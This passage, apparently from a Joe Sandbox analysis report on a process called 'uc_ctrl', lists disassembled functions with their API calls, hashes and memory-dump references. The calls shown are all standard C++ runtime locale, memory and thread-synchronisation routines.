Instruction Fuzzy Hash: FCF0AF719003158BEB04DFA0C4057EEB2B4AF34728F505429D145A7B80EFB8CA088754

Function 6C938423 Relevance: 6.0, APIs: 4, Instructions: 36COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C93842A
new.LIBCMT ref: 6C93843E

Part of subcall function 6C95A364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6C93021B,00000054), ref: 6C95A38B

??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,0000003C,6C93B142,00000000), ref: 6C938458

Part of subcall function 6C931410: __EH_prolog3.LIBCMT ref: 6C931417
Part of subcall function 6C931410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6C931425
Part of subcall function 6C931410: std::bad_exception::bad_exception.LIBCMT ref: 6C931467
Part of subcall function 6C931410: _CxxThrowException.VCRUNTIME140(?,6C963B5C,bad locale name), ref: 6C931475
Part of subcall function 6C931410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6C93147E

Part of subcall function 6C9395D5: __EH_prolog3_catch.LIBCMT ref: 6C9395DC
Part of subcall function 6C9395D5: localeconv.API-MS-WIN-CRT-LOCALE-L1-1-0(00000060,6C93847D,?,00000001,0000003C,6C93B142,00000000), ref: 6C9395E6
Part of subcall function 6C9395D5: _Getcvt.MSVCP140(?,?,00000001,0000003C,6C93B142,00000000), ref: 6C9395F2
Part of subcall function 6C9395D5: _Getcvt.MSVCP140(?,?,00000001,0000003C,6C93B142,00000000), ref: 6C939617

??1_Locinfo@std@@QAE@XZ.MSVCP140(?,00000001,0000003C,6C93B142,00000000), ref: 6C938482

Part of subcall function 6C931520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931525
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931534
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931548
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93155A
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93156C
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93157E
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931590

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: free$Locinfo@std@@$GetcvtH_prolog3$??0_??1_ExceptionH_prolog3_catchLocinfo_ctor@_Locinfo_dtor@_ThrowV12@V12@@_lock_localeslocaleconvmallocstd::bad_exception::bad_exception
String ID:
API String ID: 2270883376-0
Opcode ID: c28eb0f1ff823d2a80f657ada5ae062ca26d9ef7f10d4920da36d0ea385cee69
Instruction ID: 9952a9c108c156ce76fc51bf60ef0a04b58c6d066c549d15aef8a4d11c2e110e
Opcode Fuzzy Hash: c28eb0f1ff823d2a80f657ada5ae062ca26d9ef7f10d4920da36d0ea385cee69
Instruction Fuzzy Hash: 96F04F719113158FEB04EFA4C4157FD72B4AF24729F545429D145A7B80DFB8CA098754

Function 6C92A7E0 Relevance: 6.0, APIs: 4, Instructions: 36COMMON

Download Yara Rule

APIs

Part of subcall function 6C93C3FB: GetCurrentThreadId.KERNEL32 ref: 6C93C426
Part of subcall function 6C93C3FB: GetCurrentThreadId.KERNEL32 ref: 6C93C442

__Cnd_signal.LIBCPMT(?), ref: 6C92A80D
__Mtx_unlock.LIBCPMT(?,?), ref: 6C92A814
_Cnd_do_broadcast_at_thread_exit.MSVCP140 ref: 6C92A82C

Part of subcall function 6C92ABE0: EnterCriticalSection.KERNEL32(6C9845F0), ref: 6C92ABF6
Part of subcall function 6C92ABE0: __Thrd_current.LIBCPMT ref: 6C92ABFC
Part of subcall function 6C92ABE0: __Mtx_unlock.LIBCPMT(6C9843F8), ref: 6C92AC36
Part of subcall function 6C92ABE0: __Cnd_broadcast.LIBCPMT(00000000,6C9843F8), ref: 6C92AC3E
Part of subcall function 6C92ABE0: LeaveCriticalSection.KERNEL32(6C9845F0), ref: 6C92AC6E

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: CriticalCurrentMtx_unlockSectionThread$Cnd_broadcastCnd_do_broadcast_at_thread_exitCnd_signalEnterLeaveThrd_current
String ID:
API String ID: 1556646861-0
Opcode ID: 0810a11c395816099786afde87a807740224d83723ff7193ca6e82e2de1ae896
Instruction ID: 6ec046bf8300af1e3eaea0b30470fa3d1a693996d781e908f90165cb77364ce1
Opcode Fuzzy Hash: 0810a11c395816099786afde87a807740224d83723ff7193ca6e82e2de1ae896
Instruction Fuzzy Hash: 2FF09076A041289FDB01EFA8D8018EEB7B5EFA4324F110056E8407B750CF71BE54CBA5

Function 6C931FC0 Relevance: 6.0, APIs: 4, Instructions: 32COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C931FC7
new.LIBCMT ref: 6C931FDE

Part of subcall function 6C95A364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6C93021B,00000054), ref: 6C95A38B

??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,00000038), ref: 6C931FF8

Part of subcall function 6C931410: __EH_prolog3.LIBCMT ref: 6C931417
Part of subcall function 6C931410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6C931425
Part of subcall function 6C931410: std::bad_exception::bad_exception.LIBCMT ref: 6C931467
Part of subcall function 6C931410: _CxxThrowException.VCRUNTIME140(?,6C963B5C,bad locale name), ref: 6C931475
Part of subcall function 6C931410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6C93147E

??1_Locinfo@std@@QAE@XZ.MSVCP140(?,?,00000038), ref: 6C932019

Part of subcall function 6C931520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931525
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931534
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931548
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93155A
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93156C
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93157E
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931590

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: free$Locinfo@std@@$H_prolog3$??0_??1_ExceptionLocinfo_ctor@_Locinfo_dtor@_ThrowV12@V12@@_lock_localesmallocstd::bad_exception::bad_exception
String ID:
API String ID: 2887603401-0
Opcode ID: d42cd59d71a1ea70805864ef7667b7927b9bf14f0569ba91355e52a802d3ad32
Instruction ID: 46f04e0e67e9fde839e9c23e006706dbac3e93b7ae78adecaf2e2932f4bd5509
Opcode Fuzzy Hash: d42cd59d71a1ea70805864ef7667b7927b9bf14f0569ba91355e52a802d3ad32
Instruction Fuzzy Hash: 84F090B180071ACBCB10DF94C4856DDB7B0FF25718FA0882ED55A6BB90DBB4E608CB80

Function 6C932620 Relevance: 6.0, APIs: 4, Instructions: 32COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C932627
new.LIBCMT ref: 6C93263E

Part of subcall function 6C95A364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6C93021B,00000054), ref: 6C95A38B

??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,00000038), ref: 6C932658

Part of subcall function 6C931410: __EH_prolog3.LIBCMT ref: 6C931417
Part of subcall function 6C931410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6C931425
Part of subcall function 6C931410: std::bad_exception::bad_exception.LIBCMT ref: 6C931467
Part of subcall function 6C931410: _CxxThrowException.VCRUNTIME140(?,6C963B5C,bad locale name), ref: 6C931475
Part of subcall function 6C931410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6C93147E

??1_Locinfo@std@@QAE@XZ.MSVCP140(?,?,00000038), ref: 6C932676

Part of subcall function 6C931520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931525
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931534
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931548
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93155A
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93156C
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93157E
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931590

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: free$Locinfo@std@@$H_prolog3$??0_??1_ExceptionLocinfo_ctor@_Locinfo_dtor@_ThrowV12@V12@@_lock_localesmallocstd::bad_exception::bad_exception
String ID:
API String ID: 2887603401-0
Opcode ID: 882c4ba1697e30281796e99b6077f887ffc237687d261e12c2daeac9dead5224
Instruction ID: 2f25f0def8b3fdd09c957f222ca378846af6ff1181feea7ec17f00dbe76cbf7e
Opcode Fuzzy Hash: 882c4ba1697e30281796e99b6077f887ffc237687d261e12c2daeac9dead5224
Instruction Fuzzy Hash: 29F0F6B1800716CBCB00DF68C48169DB7B0FF24328FA0852ED0696BBD0DB70D604CB84

Function 6C93B5F0 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

setlocale.API-MS-WIN-CRT-LOCALE-L1-1-0(00000000,00000000,?,6C931483,?,?), ref: 6C93B5F7
??4?$_Yarn@D@std@@QAEAAV01@PBD@Z.MSVCP140(00000000,?,?,?), ref: 6C93B610
setlocale.API-MS-WIN-CRT-LOCALE-L1-1-0(00000000,00000000,00000000,?,?,?), ref: 6C93B620
??4?$_Yarn@D@std@@QAEAAV01@PBD@Z.MSVCP140(6C92557C,00000000,?,?,?), ref: 6C93B635

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: ??4?$_D@std@@V01@Yarn@setlocale
String ID:
API String ID: 4155560694-0
Opcode ID: 0fbab27798010ed33ec043f90cd7a5be3da818e6b7f6a840da6abd9260154e2c
Instruction ID: 7fb45d6d3d4339605227965efbf0ce49b14cb412db694ffa78da76cf68e7817e
Opcode Fuzzy Hash: 0fbab27798010ed33ec043f90cd7a5be3da818e6b7f6a840da6abd9260154e2c
Instruction Fuzzy Hash: F2F0E532308714ABE7005AA6E801FCB3BBCDB05339F104016F50E9A9D0DB32E5048B80

Function 00777AA8 Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 30COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00781424,p#w,00000000,?,00774CDC,00000000,p#w,00000000,?,00000000,?,00774BE1,p#w,?,?,00000000), ref: 00777AB3
LeaveCriticalSection.KERNEL32(00781424,?,00774CDC,00000000,p#w,00000000,?,00000000,?,00774BE1,p#w,?,?,00000000,00000000,00779728), ref: 00777ADF

Strings

p#w, xrefs: 00777AAE
p#w, xrefs: 00777AB9

Memory Dump Source

Source File: 00000010.00000002.3908833018.0000000000771000.00000020.00000001.01000000.00000009.sdmp, Offset: 00770000, based on PE: true

Associated: 00000010.00000002.3908699077.0000000000770000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3908989197.000000000077A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3909087647.0000000000781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3909199971.0000000000782000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_770000_uc_ctrl.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: p#w$p#w
API String ID: 3168844106-2963769301
Opcode ID: ef6b3efc203913d9cd1290101c3cec7889f235012e12c55ea1299ed5b6a05e2c
Instruction ID: 1abf7b241477d2ea7b356a5f4acc2bdf9b358bf823ac6265d6c59646005427e7
Opcode Fuzzy Hash: ef6b3efc203913d9cd1290101c3cec7889f235012e12c55ea1299ed5b6a05e2c
Instruction Fuzzy Hash: BFF0A733108210DFAB289B1DDC8486FB7B9FB51790312C919E80AD7900D764BD01C7D1

Function 6C942FC0 Relevance: 6.0, APIs: 4, Instructions: 30COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C942FC7
new.LIBCMT ref: 6C942FDE

Part of subcall function 6C95A364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6C93021B,00000054), ref: 6C95A38B

??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,00000038,6C94963A,00000001,?,00000000,?,?,?,?,?,00000000), ref: 6C942FF8

Part of subcall function 6C931410: __EH_prolog3.LIBCMT ref: 6C931417
Part of subcall function 6C931410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6C931425
Part of subcall function 6C931410: std::bad_exception::bad_exception.LIBCMT ref: 6C931467
Part of subcall function 6C931410: _CxxThrowException.VCRUNTIME140(?,6C963B5C,bad locale name), ref: 6C931475
Part of subcall function 6C931410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6C93147E

??1_Locinfo@std@@QAE@XZ.MSVCP140(00000038,6C94963A,00000001,?,00000000,?,?,?,?,?,00000000), ref: 6C94300B

Part of subcall function 6C931520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931525
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931534
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931548
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93155A
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93156C
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93157E
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931590

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: free$Locinfo@std@@$H_prolog3$??0_??1_ExceptionLocinfo_ctor@_Locinfo_dtor@_ThrowV12@V12@@_lock_localesmallocstd::bad_exception::bad_exception
String ID:
API String ID: 2887603401-0
Opcode ID: 6c5be40ac521f7ea9ee8eee4701cc0c02750bbb0167a4c94cb39c1b07c81fd7b
Instruction ID: 59e600c008fcae4fae4792b91e5e26e94995fc836f78df1dc8443ef4a38303b6
Opcode Fuzzy Hash: 6c5be40ac521f7ea9ee8eee4701cc0c02750bbb0167a4c94cb39c1b07c81fd7b
Instruction Fuzzy Hash: 53F05E71801716DBCB00EFA4C4416DEB770FF69618FA0892ED5456BB80DB74D618CB80

Function 6C9439C0 Relevance: 6.0, APIs: 4, Instructions: 30COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C9439C7
new.LIBCMT ref: 6C9439DE

Part of subcall function 6C95A364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6C93021B,00000054), ref: 6C95A38B

??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,00000038,6C94959F,00000001,?,00000000,?,00000000), ref: 6C9439F8

Part of subcall function 6C931410: __EH_prolog3.LIBCMT ref: 6C931417
Part of subcall function 6C931410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6C931425
Part of subcall function 6C931410: std::bad_exception::bad_exception.LIBCMT ref: 6C931467
Part of subcall function 6C931410: _CxxThrowException.VCRUNTIME140(?,6C963B5C,bad locale name), ref: 6C931475
Part of subcall function 6C931410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6C93147E

??1_Locinfo@std@@QAE@XZ.MSVCP140(00000038,6C94959F,00000001,?,00000000,?,00000000), ref: 6C943A0B

Part of subcall function 6C931520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931525
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931534
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931548
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93155A
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93156C
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93157E
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931590

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: free$Locinfo@std@@$H_prolog3$??0_??1_ExceptionLocinfo_ctor@_Locinfo_dtor@_ThrowV12@V12@@_lock_localesmallocstd::bad_exception::bad_exception
String ID:
API String ID: 2887603401-0
Opcode ID: 8a3200da0c551fdf5112ce170b39359efa7fe941ef18c29846065e9bacb4e1f2
Instruction ID: 7e082f11f36c3514b3047124ee577cf658c981a3d0e8c6f0b920aafd79552d1c
Opcode Fuzzy Hash: 8a3200da0c551fdf5112ce170b39359efa7fe941ef18c29846065e9bacb4e1f2
Instruction Fuzzy Hash: 11F05E718017169BCB00EFA4C4816DDB770FF24618FA0882ED5466BB80DB74D618CB40

Function 6C938B30 Relevance: 6.0, APIs: 4, Instructions: 30COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C938B37
new.LIBCMT ref: 6C938B4E

Part of subcall function 6C95A364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6C93021B,00000054), ref: 6C95A38B

??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,00000038,6C93B0A7,?,?,00000000,?,?,?,00000004), ref: 6C938B68

Part of subcall function 6C931410: __EH_prolog3.LIBCMT ref: 6C931417
Part of subcall function 6C931410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6C931425
Part of subcall function 6C931410: std::bad_exception::bad_exception.LIBCMT ref: 6C931467
Part of subcall function 6C931410: _CxxThrowException.VCRUNTIME140(?,6C963B5C,bad locale name), ref: 6C931475
Part of subcall function 6C931410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6C93147E

??1_Locinfo@std@@QAE@XZ.MSVCP140(00000038,6C93B0A7,?,?,00000000,?,?,?,00000004), ref: 6C938B7B

Part of subcall function 6C931520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931525
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931534
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931548
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93155A
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93156C
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93157E
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931590

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: free$Locinfo@std@@$H_prolog3$??0_??1_ExceptionLocinfo_ctor@_Locinfo_dtor@_ThrowV12@V12@@_lock_localesmallocstd::bad_exception::bad_exception
String ID:
API String ID: 2887603401-0
Opcode ID: dc0d4df8c6f8d34d7cfaade4f26646066fa5e54732d14c28aa7a40b1214ba556
